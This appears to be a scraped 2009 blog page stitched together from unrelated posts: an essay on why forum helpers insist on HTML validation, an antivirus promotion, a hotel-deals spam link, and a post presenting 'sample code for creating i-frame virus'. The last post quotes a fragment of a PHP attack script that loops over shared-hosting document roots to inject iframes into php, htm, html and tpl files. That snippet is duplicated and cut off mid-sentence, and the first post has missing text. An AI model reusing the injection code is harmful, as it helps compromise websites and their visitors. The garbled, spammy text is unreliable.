There is one scenario I see play out again and again on Web Design-L, css-discuss, and countless other forums. Newbie Designer posts a link to a test page, asking for help because it doesn’t behave as expected in this or that browser. Guru Designer replies, telling Newbie Designer that their page doesn’t validate, and that they should go validate their page before asking such questions. There is no further discussion; no further replies are posted; no one else is willing to help.
Why does this happen? Why won’t we help you?
The short, smart-alec, Zen-like answer is that we are helping you, you just don’t realize it yet. The full answer goes like this:
1.Validation may reveal your problem. Many cases of "it works in one browser but not another" are caused by silly author errors. Typos like missing attribute values can cause browsers to crash; validation catches these typos. Simple errors like missing end tags (such as or
) or missing elements (such as Thursday, July 16, 2009
Why we won’t help you
I am not claiming that your page, once validated, will automatically render flawlessly in every browser; it may not. I am also not claiming that there aren’t talented designers who can create old-style "Tag Soup" pages that do work flawlessly in every browser; there certainly are. But the validator is an automated tool that can highlight small but important errors that are difficult to track down by hand. If you create valid markup most of the time, you can take advantage of this automation to catch your occasional mistakes. But if your markup is nowhere near valid, you’ll be flying blind when something goes wrong. The validator will spit out dozens or even hundreds of errors on your page, and finding the one that is actually causing your problem will be like finding a needle in a haystack.
Wednesday, July 15, 2009
VIPRE Antivirus
VIPRE Antivirus + Antispyware is a new PC security software created by Sunbelt Software. We created VIPRE to be faster than most traditional security software like Norton or McAfee. VIPRE will not slow down your PC and it is highly effective at preventing and curing PC Infections. We would like your help promoting VIPRE to the public.
Antivirus Software
Antivirus Software
Sunday, June 28, 2009
Wednesday, June 17, 2009
amazing specials on Hotels
Asiarooms.com is offering amazing specials on Hotels in Thailand, Indonesia, Malaysia, Japan and China. http://revtwt.com/198478
Tuesday, June 16, 2009
sample code for creating i-frame virus
Once attackers found a vulnerable PHP script they first detected the directory hierarchy on the web site. In case of the sample PHP script , it looked like this:
for ($i = 3; $i < 500; $i++) {
if ($i == 438) continue;
flush_buffer('/home/sites/site' . $i . '/web:
');
iframe_account(array('/home/sites/site' . $i . '/web'));
}
From the code snippet above, you can see that all sites have their document root directory set as /home/sites/site[number]/web. The loop creates an array which is then passed to another function called iframe_account().
This function takes every director and performs a recursive search for 4 file types:
$file_types = array('php', 'htm', 'html', 'tpl');
It then opens the files and searches for the “
for ($i = 3; $i < 500; $i++) {
if ($i == 438) continue;
flush_buffer('/home/sites/site' . $i . '/web:
');
iframe_account(array('/home/sites/site' . $i . '/web'));
}
From the code snippet above, you can see that all sites have their document root directory set as /home/sites/site[number]/web. The loop creates an array which is then passed to another function called iframe_account().
This function takes every director and performs a recursive search for 4 file types:
$file_types = array('php', 'htm', 'html', 'tpl');
It then opens the files and searches for the “